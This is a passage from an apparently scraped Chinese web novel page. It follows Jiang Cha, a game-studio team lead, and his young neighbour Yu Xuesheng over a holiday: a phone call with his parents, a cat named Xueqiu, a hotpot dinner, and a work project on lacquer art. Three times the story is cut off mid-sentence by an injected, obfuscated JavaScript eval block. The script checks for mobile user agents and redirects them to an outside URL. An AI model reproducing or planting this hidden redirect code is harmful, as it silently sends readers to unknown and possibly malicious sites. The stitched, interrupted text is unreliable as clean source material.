;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189139|181046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也挺好,看看书。” 姜察看了看窗外,一片艳阳天,心里有种莫名的负罪感。 “这都一个多月没打电话了,怎么不开摄像头?”老妈问,“你也得让我们看看你胖了瘦了啊。” “晚点吧,不方便。” “不方便?”老妈的声音有点惊讶,“有人在啊?交女朋友了?” 姜察皱了皱眉:“没有,你想哪儿去了,我自己在家,刚起床……” “哎哟!刚起床!”老妈挺震惊地喊了一句,“你听听你听听,你儿子刚起床,怪不得一条消息都不回呢!” 手机估计是被她转手塞给了老爸,听筒对面换成了老爸的声音。 老妈时不时在旁边插一句话……他俩都是老师,接下来预计有长达二十分钟的远程教育。 姜察从小就经历这种场面,知道这时候把手机放旁边晾着就行了。 他无奈地听着这套亲切又让人头皮发麻的背景音,换完了四件套、晒上了被子、又扫了地…… “……所以一定要远离塑料制品,警惕微塑料。”老爸最后做出了结论。 姜察嗯嗯地答应着,他一直在放空,也不知道是怎么扯到塑料上的。 “对了,”要挂电话的时候,老妈突然插了一句进来,“你还记得老家表妹吗?你二姑家那个。” “啊。”姜察应了一声。 “你爸昨天去参加她婚礼了,在老家县城办的,新郎好像是做什么游戏代练……你们同行啊。” “是……吗?”姜察有点无语,这算哪门子同行了? “她比你还小一岁呢。”老妈补充了一句。 姜察皱了皱眉:“席上饭好吃吗?我也想吃老家菜。” “不知道啊,我没去,我减肥呢,听你姑在群里说找的是镇上最好的酒店……” 话题被岔过去,姜察赶紧在老妈反应过来之前把电话挂了。 傍晚,天上漫上了火烧云,姜察干完所有家务,坐在窗前发呆。 今天很晴,但风也很大,天上的云都被吹得肉眼可见的移动,像在匆匆赶路似的。 他端着杯刚泡好的红茶看云。 停在窗前。 他其实没那么喜欢放假,尤其是长假。 平时的双休日,一天用来睡觉洗衣服打扫房间,另一天用来应付社交或者采购。假期一旦超过三天,就会开始闲得有点难受,这种时候下楼扔个垃圾都能算是“出远门”。 他不喜欢多人社交,思考如何适当得体的回答会消耗太多能量,但一个人待着的时候,又总会想很多乱七八糟的东西。 比如晨跑改变生命。 比如结婚的表妹和她的代练新郎。 镇上最好的酒店和家乡菜。 糯米藕的制作方法…… 姜察定了定神,喝了口杯子里的红茶。 天快黑的时候,外门门口传来一阵音乐声。 姜察正站在厨房做饭,离门边很近,听出来这像是外放的电话彩铃。 那声音响了很久,直到铃声第二次自动挂断的时候,外门被人敲了两下。 姜察只好出去开门。 “哎,这不是有人吗?怎么不接电话呢?”门口是个挺不高兴的外卖小哥。 “不是我……”姜察怔了怔。 还没等说完,小哥就把手里的袋子塞给了他:“行行行我送到了啊,我还有下一单呢下次记得接电话!” 姜察有点无奈,看了看手里外卖上的小票,又掏出手机。 一比对,电话尾号果然是喻雪生的。 他拨了个电话过去,过了好半天都没人接。 难道出去了?那这外卖…… 姜察皱了皱眉,正犹豫着要不要把外卖放到楼上门口的时候,突然听到一阵隐隐的铃声。 他关上外门,楼梯间里黑着灯,声音很小,好像是从楼上传来的。 他脚步顿了一下,往楼梯上走了两步。 果然。 是喻雪生的房间。 难道人在家?那为什么不接? 姜察犹豫了两秒。 然后三步并作两步地往楼上走去。 10. 第 10 章 房门没锁。 姜察站在门口尝试着拧门把手的时候,微微愣了一下,没想到真的能拧开。 他小心翼翼地拉开了门。 “喻雪生?”他轻轻叫了声。 屋里很安静,不像有人的样子,东西也收拾得很整齐,衣物都规规矩矩的放着。 姜察皱了皱眉,又往里走了两步,他刚刚拨的电话还没挂,顺着铃声的方向很快就发现了桌上的手机。 来电备注是“小姜”。 应该是出门没锁门、还忘带手机了吧。 他又有点无语,这什么呼唤下人的风格。 桌上堆了很多画稿和书,估计是喻雪生的专业用品。姜察没细看,找了个空位把外卖放下了。 想了想,他又从旁边笔筒里抽了支铅笔,写了张纸条搁在旁边。 ——房门没锁,外卖我帮你拿好了。姜察。 也不知道喻雪生去了哪儿,他也不好多待,但临走到门口的时候突然愣了愣。 刚才进来的时候没注意,这会儿突然发现……靠里的床上堆得乱七八糟。 再仔细一看,一条挺白的胳膊搭在被子上。 “哎!”他吓了一跳。 姜察两步走了过去,这才发现床上睡了个人,也不知道被子有多厚,人躺里面跟被埋了一样。 “喻雪生!”他轻轻叫了声。 床上的人没动,脸和整个身子都裹在被子里,甚至看不到什么呼吸的起伏。 直到姜察皱了皱眉,忍不住扒了一下被子,被埋着的人才终于露出脸来。 喻雪生很平静地闭着眼睛,长发散在枕头上。 “喻雪生,”姜察又喊了一声,“醒醒……你没事吧?” 换做是一般人,这套未经允许进屋又扒拉睡觉的人的操作还是挺冒犯的。 但因为是喻雪生,姜察打电话那会儿就有点担心。 腿又不行了?还是在屋里摔了晕了失去意识了?要是倒在屋里要不要打急救电话…… 眼下,他确认没事后松了口气。 不过这会儿突然有点头皮发麻,甚至犹豫是不是该上手探探鼻息……哪有人睡得这么沉的? 正乱七八糟想着的时候,被子里的人突然动了动。 “几点了……” 他听见喻雪生说。 还没等回答,过了两秒,喻雪生猛地睁开眼睛。 “……嗯?”睡眼惺忪的人转过头,“姜察?” 似乎是因为刚醒,喻雪生说话时还带着点鼻音,眼神也挺茫然的。 姜察叹了口气,直起身,往床边站了站。 “你在干嘛……你怎么在这儿?”喻雪生皱了皱眉,问。 “不好意思,”姜察说,“你外卖送到了,电话响了半天……抱歉,我怕出事,就上来看看。” 话说出口,他又觉得“出事”两个字不太合适,只好清了清嗓子。 喻雪生倒是没什么反应,似乎大脑还在开机加载中,等又坐在床上发呆了一会儿,才裹着被子点了点头。 “谢谢。”他说。 “你睡得太沉了,我进屋你都没醒,”姜察说,“而且怎么不锁门?” “啊,”喻雪生打了个哈欠,揉了揉头发,“雪球开的吧。” 还没等他反应过来,喻雪生往四周望了望,伸手打了个响指。 身后传出一阵纸箱的摩擦声,姜察回过身,看见身后的书桌下动了动,一只布偶猫从纸箱里跳了出来。 似乎是看见终于醒了的人,布偶猫还轻轻叫了一声。 “猫?”姜察有点惊讶。 他上次来的时候竟然没注意这屋有猫! 布偶猫走到床边,看见陌生人,犹豫地停下了步子。但过了两秒又慢慢上前,围着姜察的腿蹭了蹭。 我!靠! 姜察在心里呐喊。 他从小就想养猫,但老爸老妈对宠物的最高容忍上限是小时候校门口卖的小乌龟或者蜗牛。 于是他的童年时代就只能趴在玻璃缸前,看着蜗牛在几片叶子上爬来爬去,或者看着若干年如一日的乌龟…… “这是你养的猫?”过了好半天,姜察才回过神来,又问了一遍。 “嗯,都叫雪球了。”喻雪生坐在床上,看着他。 “真好,”姜察眼睛盯着正蹭着他手的雪球,“都是雪字辈的。” 喻雪生没说话,撑着头笑了笑。 过了会儿,他又慢悠悠地爬起来,伸手往旁边沙发上够着。 姜察余光里看见白花花的一片,他下意识往那边扫了眼,看见喻雪生没穿上衣,正往头上套衣服。 ……这人真白啊。白得晃眼。 “看什么呢?”喻雪生套上衣服,啧了一声。 “你在床上换衣服?”姜察定了定神,问。 “不然呢?裸着站地上换吗?”喻雪生说,“我得一半一半穿啊。” 姜察没说话,转过去蹲下,继续跟雪球玩。 比起喻雪生,好像还是猫更有意思点。 又过了一会儿,他突然回想起来刚刚还说要走,转眼就被猫硬控了……只好又站起来。 “要走了?”喻雪生问,“不再跟雪球玩会儿?” “不了,”姜察有点尴尬,“我就是上来看看……看看你有没有事。” “能有什么事?”喻雪生穿好所有衣服,笑着下床,“我就是作息乱了,想着要是闹钟叫不起来我,还能接个外卖电话。” “那你睡得也太沉了,”姜察叹了口气,“指望外卖员还不如训练一下雪球,它还能听懂打响指。” 喻雪生看了看还围着姜察脚边转圈的猫,笑了起来。 “布偶心情好了跟狗一样,叫名字打响指吹口哨都能听懂,”喻雪生说,“不过它一般也不太理人,今天算是例外。” “例外什么?理你吗?”姜察说。 “例外理你。”喻雪生懒洋洋地伸了伸胳膊。 雪球也凑过来,喵了一声。 看着面前的一人一猫,喻雪生总觉得有点好笑。 姜察一说话就紧张,一句话里又是不好意思又是抱歉的。结果提起猫,人机都被感化成真人了。 不过雪球猫怂瘾大,确实很少找陌生人玩儿,最多就是跳起来扒拉扒拉门,更别提这几天电闪雷鸣又下…… 喻雪生往窗口看了一眼,愣了愣。 虽然现在天快黑了,但还是能看到一大片很透彻的、独属于大晴天的蓝灰色。 “雨停了啊。”他说。 姜察顺着他的目光往窗外看去:“下三天了,今天终于是个晴天。” “我还以为得一直下雨呢,想着趁这种天气好好睡一觉,”喻雪生笑笑,“听说梅雨季要下一个月的雨。” “还早,”姜察说,“下个月差不多。” 顿了顿又说:“到时候每天都是睡觉的好天气。” “是吗,”喻雪生挑挑眉,“幸好我不用上班。” 姜察没忍住,轻轻啧了一声。 去年的梅雨季倒是不长,不知道今年怎么样。 虽然知道喻雪生不是本地人,但姜察还没问过他来这边做什么,以及他来这边多久了。现在听下来,喻雪生对这座城市似乎不太熟悉。 “哎,姜察。”正想着的时候,喻雪生突然开口叫他。 “怎么了?”姜察抬起头。 站在床边的喻雪生刚把被子整理好,也没叠上,只是像酒店的床一样铺平。 “这几天是不是放五一?放假你怎么没出去?”喻雪生把枕头拿起来拍着。 “我没排期。”姜察说。 “什么?”喻雪生愣了愣。 “没约时间,”姜察反应过来,又解释了一句,“同事们行程订的太早了,我没提前订计划。” 真够悲哀的,这班上的,张口闭口排期都出来了。 “不过也挺好的,”姜察又补了一句, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189140|181046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “休息的时候可以在家睡觉……” 喻雪生点了点头,把枕头放下了。又过了一会儿,姜察终于再一次反应过来自己要下楼,于是赶紧客套了两句,关门走人。 楼梯间里的脚步声咚咚咚地渐远,喻雪生想起这人出门时又带上点尴尬的背影,突然觉得有点好笑。 等洗漱完走到窗前时,抬眼又瞥见了桌上的外卖和旁边的纸条。 喻雪生拿着纸条看着。 姜察的留言一如既往的客套,字倒是还不错,是那种学生时代答卷时的、规规矩矩的字体。 真是好孩子啊…… 喻雪生放下纸条,轻轻啧了一声。 …… 秋总看的最后一场展在本市,假期倒数第二天的下午,她终于坐上了返程的高铁,在特种兵行程中得以喘了口气。 忙了三天的人分享欲几乎喷薄而出,于是在高铁上,秋总开始疯狂往群里发这几天的收获,中间还穿插着寸头一串一串的语音。 姜察趴在电脑前,百无聊赖地刷着群里的消息,他点开几条语音转文字,结果发现这两人各聊各的。 秋总讲着文化集市,寸头聊有人在音乐节上喝多了睡了一下午;秋总讲见到了什么艺术品真品,寸头说某乐队主唱跑调了差点被观众扔瓶子…… 他翻了半天,忍不住有点想乐。 电脑上,打了一半的胡闹厨房被按了暂停。 姜察盯着手机乐了一会儿又觉得自己有病,怎么总在开着电脑的时候玩手机? 【寸头:姜察呢?出来说句话啊】 秋总和寸头过了好几个回合,终于想起来群里还有第三个人。 【秋秋秋:在家窝着长蘑菇呢吧?打个电话问问,我们上他家采蘑菇去。】 【寸头:用带只小鸡过去一起炖吗? @养生小饮料 】 姜察拿起手机拍了张电脑屏幕。 【养生小饮料:打游戏呢。】 过了两秒,群里俩人都发了个问号。 【寸头:这也太寂寞了吧!这游戏一个人怎么玩,你单人控制两个角色吗?】 【养生小饮料:匹配模式呗。】 【寸头:得了吧,你这单机暂停呢,匹配也没好哪儿去,一个寂寞的人找地球上另一个寂寞的人……】 过了会儿,秋总往群里分享了一条音乐链接——《寂寞的人听伤心的歌》。 姜察有点无奈地看着手机,又忍不住勾了勾嘴角。 也许是真的怕他寂寞,秋总拍了张宣传册的照片过来,接下来五分钟里一直问他要不要一起去逛最后一个展。 姜察把图片放大了,看到那一堆字儿就开始头疼,什么“传统艺术与现代元素的碰撞”…… 【养生小饮料:不去,我明天要去看病】 【秋秋秋:你怎么了?】 【养生小饮料:晕字晕画晕艺术品】 说完就退出了聊天软件,还顺手给手机静了音。 靠孤单寂寞冷的单机游戏消磨了一天,晚饭时间,姜察翻了翻冰箱,把最后一块鱼排拿了出来。 这几天过得太糜烂,家里连青菜都没了,这块儿鱼还是上次渗着血水拖回来的那条。 等鱼肉化好,他往平底锅里倒了一点点油,开了小火煎着。 要是有点柠檬应该会更好,或者来点口蘑,如果像秋总说的,在家窝着就能长蘑菇倒也不错…… 乱七八糟地想着,等发现大脑跑偏再回过神来的时候,鱼排已经差不多熟了。 门外突然传来了轻轻的敲门声。 姜察把火转到最小,走过去开门。 “晚上好。”喻雪生站在门口。 “啊?”姜察怔了怔,但随即就看向了面前人的怀里。 一只满脸无奈的猫跟他对视着,还被迫举着一只爪。 “晚上好。”喻雪生又挥了挥猫爪。 “干嘛呢这是?”姜察看着雪球,有点想笑,侧身让了让。 11. 第 11 章 “孩子叛逆期,”喻雪生抱着猫直叹气,“也不知道怎么了就一直挠门,我下楼才闻到……原来是馋的。” 姜察看着他怀里的猫,雪球正四肢并用地推着揽住它的胳膊,满脸写着对探索的渴求。 “看你也不像被饿过的体型啊。”姜察忍不住弯下腰,在它眼前晃了晃手指。 “上午刚开了个罐头,”喻雪生啧了一声,“就是没出息,真饿也饿不到十几斤。” “真够胖的。”姜察叹了口气。 雪球茫然地盯着他,幸好听不懂人话。 “一下楼就闻到了,”喻雪生说,“是鱼味儿吗,你煎的……” 他顿了顿,往锅里看了看,还没来得及辨认煎的是什么。 “尸体,”姜察说,“你上次看见的那条。” 喻雪生愣了愣,很快反应过来,忍不住笑了。 “行,就你煎的鱼尸,确实很香。”他说。 雪球终于成功挣脱怀抱,跳到地上后又试图往灶台上使劲。 姜察赶紧把火关上,还好鱼没来得及放盐放调料,给小猫吃倒是没问题。 他把鱼排夹出来,用吸油纸吸了吸鱼排表面的油,再切成小块……最后在碗柜里找了个平盘放进去,搁在旁边地上。 雪球乐颠颠地凑了过来,闻了闻就张开血盆大口,看着挺斯文的猫,一吃饭简直像辆铲车…… “全给他了?”喻雪生抱着手臂靠在厨房门口看着。 “嗯,也没多少,”姜察看着猫,“没放调料。” “你还有饭吃吗,”喻雪生说,“我请你吧。” “不……”姜察想拒绝。 “别客气,我也没吃呢。”喻雪生掏出手机划着。 姜察转头看着他。 “而且上次的事我还没谢你。”喻雪生说。 “上次?”姜察有点想叹气,“这都多久了……” 君子报恩十年不晚吗。 喻雪生低头看了一会儿手机,估计还没找到满意的餐厅,微微皱着眉。又过了几分钟,他微微动了动,换了个站着的姿势。 姜察注意到他是换了条支撑的腿,可能是一个姿势站久了不太舒服。 喻雪生在房间里穿得很随意,长裤配个七分袖上衣,都是乳白色的亚麻面料,有种仙风道骨功夫大师的风范。 裤筒也很宽松……姜察下意识扫了两眼,没看出腿有什么不对。 “看我腿吗?”喻雪生察觉到他的目光,问。 “不看。”姜察下意识答。 “靠,”喻雪生没忍住,“我的意思是你是不是在看我的腿。” 几秒钟后,两人都乐了起来。 喻雪生看着姜察,有点莫名的满意,终于转人工了。 “海底捞吧。”过了一会儿,姜察说。 “啊?”喻雪生抬头看他。 “离这里不远就有一家,我们聚餐经常去……”姜察翻出手机地图。 “吃火锅?这也太没创意了,”喻雪生啧了一声,“我还想找找附近有没有特色。” “都这个时间了,”姜察看着手机右上角,“而且本地三大美食,海底捞麦当劳芭比馒头。” “这话该隐听了得跟你打起来。”喻雪生说。 他们住的公寓离那家海底捞不远,打个车过去也就十几分钟的时间。 出租车上,喻雪生坐在后排,姜察坐在副驾上,一直看着窗外。 “你怎么没买辆车?”下车的时候,喻雪生问。 “我吗?”姜察回过神来。 “嗯,该隐刚上班没多久就买了辆车,你们工资应该也挺高的吧。”喻雪生说。 “我没这种需求,”姜察笑了笑,走在前面,推开了商场的玻璃门,“连门都不出的人有什么好买的。” 这家店所在的是个生意不太好的商场,喻雪生走进去的时候打量了一下,建筑样式也挺老,一栋楼中间挑空,两边的扶梯一层一层转上去。 不过灯开得很亮,又是惨白的大灯又是各种五颜六色的霓虹灯装饰……一楼大厅里还有些圈起来的场地,像在搞什么儿童活动。 海底捞在一楼,他跟着姜察往里走的时候看了看,附近还在营业的基本都是餐饮和幼儿教培。 不过进到火锅店里的时候就吃了一惊——整栋楼的顾客得有一大半在这儿。 两人坐下后,喻雪生把平板塞给姜察,姜察果然是常客,没多久就点好了菜。等菜上齐,又熟练地放蔬菜和肉下去。 喻雪生乐得清闲地在旁边看着。 “熟了。”过了会儿,姜察说。 喻雪生应了一声,从姜察拎起来的漏勺里夹了两片肉吃,低头蘸蘸料的时候突然有点想笑。 这要是放该隐那儿,该隐肯定得喊——少爷,你等人给你布菜呢? 但姜察就一声不吭勤勤恳恳,不愧是成熟的社畜…… “笑什么?”对面的人似乎察觉到了,看过来。 喻雪生摇头:“没事。” 姜察夹了个鹌鹑蛋放在碗里,没再说话。 过了半天,见对方没追问,喻雪生又勾了勾嘴角,直到姜察又忍不住往他这边看了一眼。 “我发现你挺能忍的。”喻雪生说。 “是吗?”姜察问。 “从来都不问多余的问题,也不追问,”喻雪生搅着碗里的蘸料,“比如刚才。” “可能是好奇心没那么重吧。”姜察说。 “算了吧,我有时候觉得你都快好奇死了,”喻雪生说,“但是就绷着,比如到现在都不问我的……” 姜察看了看他。 “腿。”喻雪生说。 到底是他的好奇太明显,还是喻雪生一点也不担心自我意识过剩? 姜察喝了口饮料,有点无奈,都不知道这天该往哪里聊了。 而且他俩明明没有熟到互相打听的地步……大概。 过了会儿,见喻雪生还盯着他,姜察只好放下筷子:“那我问一个。” “你说,”喻雪生说,“我看情况回答。” “你……”姜察有点无语,“那我还是保持没那么重的好奇心吧。” 说完又把筷子拿了起来。 四宫格的锅底里只点了两格,一边是番茄,一边是清油辣锅。 这会儿番茄锅底正煮得咕嘟咕嘟冒泡,喻雪生坐在他对面,拎了两片娃娃菜丢进去,水面又倏地平静了。 辣锅那边,姜察不太能吃辣,姜察好像也没吃几口。不知道怎么,姜察今天总觉得喉咙一阵一阵地发紧。 说话都费劲似的。 等番茄锅又一次开锅时,坐在对面的喻雪生清了清嗓子。 “哎,”他说,“你问吧,我刚才开玩笑的。” “我能看情况问吗?”姜察说,“除非你对我的问题有特别重的好奇心……” 喻雪生啧了一声。 “好吧,”姜察笑了笑,“我就想问你今年多大。” “就这个?”喻雪生挑了挑眉,“这有什么好问的……” “问别的像打听人家私事,”姜察夹了片娃娃菜,“多不好。” “哦,”喻雪生看着他,“我今年……二十一。” 姜察抬头,跟他对视着。 “……二十。”过了一会儿,喻雪生说。 姜察咬了一口娃娃菜,有点恍惚。 真年轻啊,自己二十的时候在干嘛呢?喻雪生二十就跑这么远上学,还又做视频又画画的,已经很独立了。 可惜就是…… 不熟。 他皱了皱眉,看着盘子里的娃娃菜,咬了半天菜梗还咯吱咯吱的。 “你呢?”喻雪生问,“看着也差不多。” “比你大五岁,”姜察放弃了剩下半片娃娃菜,放到碟子旁边,“快六岁了。” “姜组长年轻有为。”喻雪生点了点头。 “年轻?”姜察叹了口气,“你上小学那会儿我都快高考了。” “没这么算的,”喻雪生笑了笑,“你就是说话老成。” 这叫成熟。 姜察喝了口饮料,懒得再说什么。 饭吃到一半的时候,不远处那桌突然爆发出一阵欢呼声。 紧接着,不知道从哪儿涌进来一帮服务生,“乌拉”一圈儿把餐桌围起来了。店里开始全场播放音乐,对所有的烦恼说拜拜,对所有的欢乐说嗨嗨…… 桌旁的人也都站起来围着唱歌,姜察在远处听得心惊肉跳,这要是他过生日,保证一个字都不敢跟这里的服务生说。 “那边在干嘛?”喻雪生倒是挺好奇,伸长了脖子看着。 “过生日,特色服务,回回来都能碰上。”姜察说。 “是么,”喻雪生说,“我没来过。” “你们大学生还有优惠,平时来……”姜察说到一半突然想起来,“……返校后来聚餐也行。” “嗯。”喻雪生还是笑了笑,没说什么。 姜察在心里叹了口气,也不知道他什么时候回校,等上学应该就不住这边了吧。 生日那桌的气氛相当热烈,歌都唱完后,还有人在桌子旁边蹦跶。姜察余光里看到这帮人都有点打怵,幸好坐得离他们远。 他有点心不在焉地往锅里放了点土豆片,又想着要不要再下点贡菜…… “小姜哥!” 筷子还没放下,就听见有个声音隔着好几桌喊了一句。 姜察惊愕地转过头,余光里那个蹦着的人又一路蹦了过来,竟然是……眼镜? 卷毛眼镜小伙儿站在他们桌前,不知道是闹的还是喝酒了,脸还红扑扑的。 “眼……”姜察看着他,想了两秒才想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189141|181046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起他的大名,“周飞雨?” “你还是叫我眼镜吧,都卡嘴里说一半了!”眼镜说,“这也太巧了,你也在这儿吃饭呢?” “是,”姜察点头,“要不然我在这儿唱歌吗。” “我们刚唱完。”眼镜认真地看着他。 旁边喻雪生喝着饮料,乐得直抖。 过了两秒,眼镜转头看见了喻雪生:“哎这是那天茶园的帅哥!你是小姜哥的朋友……” “喻雪生。”喻雪生放下杯子,笑着说。 “幸会幸会哦小雪哥,”眼镜很自来熟地给人分配了昵称,“我大学同学生日,我们订了个巨大的蛋糕,等等我给你们切两块儿……” “别麻烦了。”姜察微微皱了皱眉。 “不麻烦,反正我们吃不完,你们也尝尝。” 眼镜边说着边跑了,老远就能看见他又回到那一桌一通手舞足蹈。 等他走后,姜察叹了口气:“线都跑不直了,这小子估计喝多了。” “挺有活力的,”喻雪生点评道,“他挺可爱。” “人家比你还大好几岁。”姜察啧了一声。 啧完伸筷子往锅里一捞,土豆都化没了……贡菜,哦贡菜还没下。 眼镜果然给他们切了巨大的两块蛋糕,巧克力奶油蓝莓夹心,中间还有层冰淇淋。等吃完这块儿蛋糕,姜察都有点晕碳了。 又有一搭没一搭地跟喻雪生聊着天,晕着晕着也不知道都聊了什么…… 付款的时候,还顺手教了喻雪生怎么用大学生折扣。 “你是美院的啊。”姜察看着喻雪生的付款界面。 “嗯。”喻雪生应了声。 “有点猜到了,”姜察说,“该隐是你同校?” “他?他外省读的大学,毕业好几年了,”喻雪生笑笑,抬手扫码,“之前还当过原画师,跟你们算半个同行。” 姜察点了点头:“跟你关系很好,还以为你们是校友。” “我们认识好多年了,”付完款,喻雪生把手机放回兜里,“以前去参加一个展会,我看他作品很有意思,就留了个联系方式。” “然后熟悉了?”姜察说。 “没,我一直懒得说话,从来没聊过天。直到过了快一年,有天半夜突然收到求救短信……” “啊?” 姜察往门口走的脚步顿了顿,被这个突如其来的转折惊了一下。 “他骑摩托出事故了,在联系人里随便戳了一个,”喻雪生说,“半夜,荒郊野岭,趁没昏迷发了个定位过来,我以为是诈骗,良心斗争好久才报警。” 姜察有点震惊,这什么戏剧性展开。 “后来我去他那边旅游,顺路去了趟医院看他,”喻雪生说,“他到现在都以为我是专门去探病的,对我感激涕零……” “靠。”姜察笑了笑。 “……所以我们有了坚不可摧的友谊。”喻雪生最后总结道。 走到门口,姜察推开商场门,现在已经有点晚了,外面的天比进来的时候更黑。 马路上的车驶过,两人走了两步,停在了人行道的边上。 “你们的交友真简单。”姜察说。 “简单吗?”喻雪生看着他,“你要是半夜骑摩托摔……” “我没摩托。”姜察赶紧把他不吉利的话打断。 “就这个意思,”喻雪生啧了声,“反正平时也就一起玩,没那么复杂。” “嗯。”姜察应了声。 “也不用什么事都这么认真……”喻雪生想了想,“至少我不是。” 姜察在手机上打好回程的车,等车的时候喻雪生站在他前边,心情好像不错,很小声地哼着歌。 姜察在身后看着他,这人今天穿出门的是一件白衬衣,这时候被路灯的灯光映得有点发暖发黄。 但好像很单薄,夜风一吹能掀起领口或衣角…… 也不知道冷不冷。 “看什么呢?”觉察到姜察的目光,喻雪生回过头。 姜察怔了一下:“没,就单纯……” “好看?”喻雪生笑了笑,“要是夸我就直说。” 这句话真是一点不好意思都没有,姜察反而有点不知道该说什么了。 喻雪生看着半天没说话的姜察,伸手在空中朝他捏了一下,又放到自己耳边。 “干什么呢?”姜察愣了愣。 “接收脑电波。”喻雪生说。 “哎。”姜察有点无奈地笑笑,这小子真够幼稚的。 过了两分钟,车终于到了。上车的时候姜察还是坐进前排,想起刚才的对话,又有点无奈。 “我真是……跟不上你的脑回路。”他说。 喻雪生坐在后面,看了看他,又转头看向窗外。 “是吗?”他听见喻雪生笑了笑,“不用那么认真。” 12. 第 12 章 五一结束后,总会有两天从云端跌入地狱的痛苦缓冲期。 姜察还好,毕竟假期也没带给他什么太大的情绪起伏。但早上上班的时候,举目望去周围的人都一副半死不活的模样。 开周会时,他给包装组四麻雀点了咖啡,一帮人边感动边被无糖无奶的苦药汤唤回了现实世界。 点单的时候又顺手给秋总和寸头带了两杯,用于填补自己脱离集体活动五天还不回消息的心虚感…… “不喝。”秋总扫了一眼放在办公桌上的杯子,斩钉截铁地说。 “请客的还有意见啊?”姜察站在她身后,啧了一声。 秋总往椅背里靠了靠,叹气:“我这五天喝的什么?赛级豆和手冲,现在要喝公司楼下的刷豆水……” 顿了顿又摇头:“我对生活质量有追求,不像某些养蘑菇的人一样。” “那你在梦里喝吧,我给寸头送过去。”姜察转身要走。 “等等,”秋总坐直,“东西拿走,给你带了点提高生活质量和审美情趣的小礼物。” 秋总在包包里翻了半天,掏了个小盒子出来。 根据她的爱好和习惯,估计这又是从哪个博物馆或者展览上带回来的纪念品。一般都是什么书签徽章,或者各种文创…… 姜察把小盒子打开,里面装着一个很漂亮的蓝色小葫芦。 小葫芦也就半个掌心大,掂着重量像是真葫芦的材质,但表面又滑溜溜的,还有层网状的金色花纹。 他有点惊讶,这个估计不是普通的文创,也不会很便宜。 “漆艺摆件,”秋总说,“穿个绳挂着也行,逛到的时候就觉得很适合你,比较古朴。” “不便宜吧?”姜察把玩了一下葫芦,问。 “图个吉利,”秋总说,“葫芦嘛,借谐音正好冲冲你最近的煞气。” 姜察把盒子关上,他确实还挺喜欢这个礼物的。 “太感动了,”他很认真地点头,“你这个月的咖啡我包了……” 秋总幽幽地看了他一眼,转头戴上了耳机。 中午过后,姜察正给几张原画稿写着反馈,文件传输的小窗突然跳了出来。 他皱了皱眉,停下正在打的字,看见发件人是主策,只好点了接收。 是一张排期表。 一般情况下,《恐惧追踪》的排期会比版本至少提前六个月,基本上都会由主策等人一一敲定后直接发到项目组的共享文件夹里。 但这张表估计还在改,姜察打开看了看,明年二月的春节版本标了一片红,红底上只有一行字:非遗传播。 还没等他打字问问怎么回事,主策又一串话发了过来,说是整个大版本都交给他,希望找不太热门但也不偏门的切入点云云……两周内要给一个初方案。 几乎是同时,秋总也丢了一堆文件过来。等看完秋总那边的文件,姜察无语地敲给她一行话: [养生小饮料:你这不是早就挑好了?] 秋总发过来的是上次说的几个打算合作的KOL,不过这份文件里只简单提到几个主题,京剧、年画、漆艺、刺绣……等等。 姜察立刻想起来早上那个小葫芦,于是把漆艺那页截出来发回给了秋总。 [养生小饮料:看看这个?风格比较适合做时装外观,呈现方式也很独特。] [秋秋秋:我觉得不错,漆艺还没太热门,目前没见有太多游戏在做。] [秋秋秋:而且对接宣传的人也比较好找。] [养生小饮料:?] 姜察突然有点不好的预感。 [秋秋秋:喻雪生啊!我去看他们学校的展了,我没跟你说过吗?] 姜察:…… 这个世界仿佛有什么陷阱,似乎所有事都能拐到这个人身上。 晚饭时间,秋总拉着他在园区外找了个餐馆。 这家做的是半中不洋的西餐,不过起码比公司窗口的要正经些。选这儿的主要原因是环境比较安静,能碰到的同事也不多。 秋总点了份意面,边等边跟他说,她回市里看的就是美院的特展,展出的都是有传统特色的作品,这次去也是为了…… “取材?你真比我还热爱工作。”姜察忍不住竖了竖拇指。 “谢谢,”秋总看了他一眼,“车票报销,本来想叫你一起热爱来着。” “我也不至于为这个上这趟贼船。”姜察啧了一声。 秋总从手机里翻出来几张照片给姜察看,还挨个介绍着,这个是某艺术家的,这个是某院长的,这个结合了什么其他工艺的特色……哦,这个是喻雪生的作品。 “他的作品能参展?”姜察有点惊讶,“他不是才大二吗?还休学了。” “你还知道这个?”秋总说,“他在他们学校很出名,因为算是小网红,专业也好,老师们都说他有天赋……” 姜察有点意外,根据喻雪生吊儿郎当的形象,他一直以为喻雪生是那种对学习不太上心的人。 秋总的意面终于端上来,她一边把手机收好,一边拿着叉子叉面条。 “哦,说到休学,你知道他停更很久了吧,”秋总说,“如果没出事的话,应该能发展得挺好的,我们这次约他也是因为单价不算非常贵……” “出事?什么事?”姜察问。 